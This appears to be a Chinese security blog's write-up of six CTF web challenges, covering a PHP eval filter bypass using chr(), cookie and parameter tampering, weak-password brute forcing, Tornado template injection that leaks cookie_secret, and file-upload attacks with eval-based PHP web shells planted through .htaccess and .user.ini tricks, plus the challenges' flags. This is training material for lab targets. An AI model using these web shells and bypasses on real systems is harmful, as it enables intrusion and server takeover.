🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
1、[RoarCTF 2019]Easy Calc
2、[极客大挑战 2019]BuyFlag
3、[HCTF 2018]admin
4、[护网杯 2018]easy_tornado
handler.settings
5、[GXYCTF2019]BabyUpload
.htaccess木马
6、[SUCTF 2019]CheckIn
.user.ini木马
1、[RoarCTF 2019]Easy Calc
flag{3d1e3a7c-463d-4cc0-b976-3e3fbe8b1894}
打开链接,发现是一个输入框,我们可以尝试sql注入,但是我尝试了很多,发现一输入字符串,就报错了,所以这里应该不是sql注入漏洞。
我们这里右击查看网页源代码,
源代码解释:
- 通过 jQuery 选择器
$('#calc')
监听表单提交事件,并在提交时执行指定的函数。 - 在提交事件中,通过
$.ajax()
发起一个 GET 请求到calc.php
,请求参数num
的数值来自于输入框#content
的值,并对其进行 URL 编码。 - 如果请求成功,
success
回调函数会将返回的数据插入到具有绿色背景色的提示框中,并显示在页面上。 - 如果请求失败,
error
回调函数会弹出一个警告框,提示"这啥?算不来!"。 - 返回 false 会阻止表单的默认提交行为。
我们根据提示,访问calc.php/目录,发现是一段php代码审计
通过上面的分析,我们构造下面的payload:
calc.php? num=print_r(scandir('/')); //中间记得有个空格
请求参数 num
中的值 print_r(scandir('/'));
包含了括号和分号等符号,这些符号在黑名单中,因此会导致代码检测到黑名单字符而触发拒绝执行的逻辑,最终输出 “what are you want to do?” 错误信息。
那我们利用ASCII 值进行过滤,payload如下:
calc.php? num=print_r(scandir(chr(47)));
使用了 chr(47)
函数来生成 ASCII 值为 47 的字符,ASCII 值为 47 对应于斜杠 /
。这样产生的结果和直接输入 /
是等价的。
输入后 可以浏览根目录下的文件,而其中的falgg就是我们要读取的文件
? num=print_r(file_get_contents('/flagg'));
其中/flagg 用chr进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
2、[极客大挑战 2019]BuyFlag
flag{6a2a46b6-6901-4548-828a-cce53bffab0a}
打开链接访问,右上角点击,然后再点击PAYFLAG按钮
没猜错的话,这个就是一个购买flag的功能点位置
右击查看网页源代码,发现一个注释的php代码审计
通过上面的php代码审计,我们可以利用password进行post传参,然后对is_numeric()进行过滤,我们可以用 404abc进行过滤
但是我无论怎么输入,他都报这个错误,并且没有回显别的内容说 只有Cuit的学生才能购买Flag,我们猜测,用户和cookie是相关联的,那么我们对用户的cookie进行查看
一看,发现cookie值是0,那么我改成1,再进行下一步
password=404abc
他让我支付flag,我们利用money参数进行支付
password=404abc&money=100000000
报错说我们的money估计金额被限制了,用数组绕一下
password=404abc&money[]=1
我们成功买到了flag,flag{6a2a46b6-6901-4548-828a-cce53bffab0a}
3、[HCTF 2018]admin
flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}
打开题目,我们直接点击登录login页面,题目提示admin,说明这个题目要拿到admin用户,才可以查看到flag。
我们这里利用burp工具抓包尝试下密码破解,直接设置123为爆破对象
load选择字典,一般可以去网上找弱口令的爆破字典,GitHub上面还是蛮多的。
发现爆破成功了,密码就是123,属于弱口令
成功拿到flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}
4、[护网杯 2018]easy_tornado
flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}
一打开环境,发现存在三个.txt文件
/flag.txt中,告诉我们flag在 /fllllllllllllag里面
/welcome.txt文件里面,没有什么直接价值的信息
在hints.txt文件中发现md5计算,md5(cookie_secret+md5(filename))
在hints.txt文件中发现md5计算,md5(cookie_secret+md5(filename))
并且三个文件中都存在filehash(文件名被哈希算法加密32位小写)
所以,filehash就是md5(cookie_secret+md5(filename))
然后,filename就是/fllllllllllllag
现在只缺cookie_secret这个东西,只要有了cookie_secret,再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag
查看题目的名字,tornado是python的一个模板,可以看出这道题是模板注入类的题目
通过修改filehash,发现报error的错
模板注入必须通过传输型如{{xxx}}的执行命令
/error?msg={{3*3}}
发现总是报ORZ,说明这个就是tornado模板注入
handler.settings
在 Tornado 中,handler.settings
是一个字典,用于存储和访问应用程序的设置信息。这个字典通常在 Tornado 的 RequestHandler 中使用,用于配置和传递应用程序的各种参数。
通过handler.settings
,可以在处理请求的过程中访问和使用应用程序的配置信息,例如数据库连接信息、API 密钥、模板路径等。这样做的好处是可以将应用程序的配置信息集中管理,便于维护和修改。
开发者可以在创建 Tornado 的 Application 对象时通过传递 settings
参数来设置这些配置信息,然后在 RequestHandler 中通过 handler.settings
来获取并使用这些信息。例如:
# 创建 Tornado 应用程序时传入配置信息
app = tornado.web.Application(handlers=[(r'/', MainHandler)], settings={
"debug": True,
"database": {
"host": "localhost",
"port": 3306,
"user": "root",
"password": "password"
}
})
# 在 RequestHandler 中访问配置信息
class MainHandler(tornado.web.RequestHandler):
def get(self):
debug_mode = self.settings.get("debug")
db_host = self.settings.get("database").get("host")
self.write(f"Debug Mode: {debug_mode}, Database Host: {db_host}")
通过handler.settings
,可以方便地在 Tornado 应用程序中管理和使用各种配置参数,提高代码的可维护性和灵活性。
爆cookie_secret
error?msg={{handler.settings}}
得到cookie_secret:447c8b25-6c6b-4229-8569-d6284192087e
按照公式进行加密
公式md5(cookie_secret+md5(filename))=b0b99193d1ce9c809265a3b6c4950133
最终payload:
file?filename=/fllllllllllllag&filehash=b0b99193d1ce9c809265a3b6c4950133
成功拿到flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}
5、[GXYCTF2019]BabyUpload
这是一道文件上传的题目,我们先来尝试上传一个php后缀的木马上去,看看报错内容:后缀名不能有ph!
发现后缀是不可以有ph了,所以说什么双写绕过,phtml,大小写绕过都没有用,只能改后缀了,所以就想到只能用.htaccess文件进行文件上传了。
.htaccess木马文件内容(xiaoma.jpg为到时候后面进行木马上传jpg木马的文件名,因为这个.htaccess木马就是把xiaoma.jpg里面的内容当初php代码来执行)
<FilesMatch "xiaoma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.htaccess木马
第一步:
右击发送两个包到repeater里面,我们后面要进行绕过。
第二步:
发现我们上传的.htaccess木马被暴露了,经过尝试,发现是Content-Type: 的原因,我们直接把Content-Type: 里面的内容改成jpg的 /image/jpeg,并且加上图片头:GIF89a
发现文件上传成功了
第三步:
我们写正常的一句话木马,竟然直接被它给识别出来了,应该是里面有<?php过滤了,那么我们换个木马进行绕过。
xiaoma.jpg木马:我们要把第二次发包的那个包里面的.htaccess名字改成xiaoma.jpg
GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>
发现上传成功了,我们直接连接蚁剑,查看flag
第四步:
连接蚁剑,查看flag
6、[SUCTF 2019]CheckIn
flag{8efd51f4-988b-48b9-b1d2-c5888c2771b0}
题目是个文件上传,我们先上传一个xiaoma.jpg上去探测题目过滤内容
GIF89a
<?php
@eval($_POST['cmd']);
?>
报的这个错,说明对<?php进行了过滤,我们需要对一句话木马进行修改
GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>
我们把木马后缀进行了修改,发现题目对ph进行了过滤,我开始尝试了利用.htaccess木马文件进行绕过,发现.htaccess确实是可以绕过,但是发现那个木马文件不能呗执行成php木马执行,让getshell。
这里我们利用.user.ini文件进行绕过。
.user.ini木马
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
GIF89a
auto_prepend_file=xiaoma.jpg
第一步:
先上传.user.ini木马,然后再重发两个包到Repeater里面,然后再改Content-Type: image/jpeg
发现上传成功了。
第二步:
把刚才重发的第二个包修改,然后上传。
第三步:
访问xiaoma.jpg那个上传成功包的目录位置,发现木马被成功执行了。
第四步:
连接蚁剑,然后getshell查看flag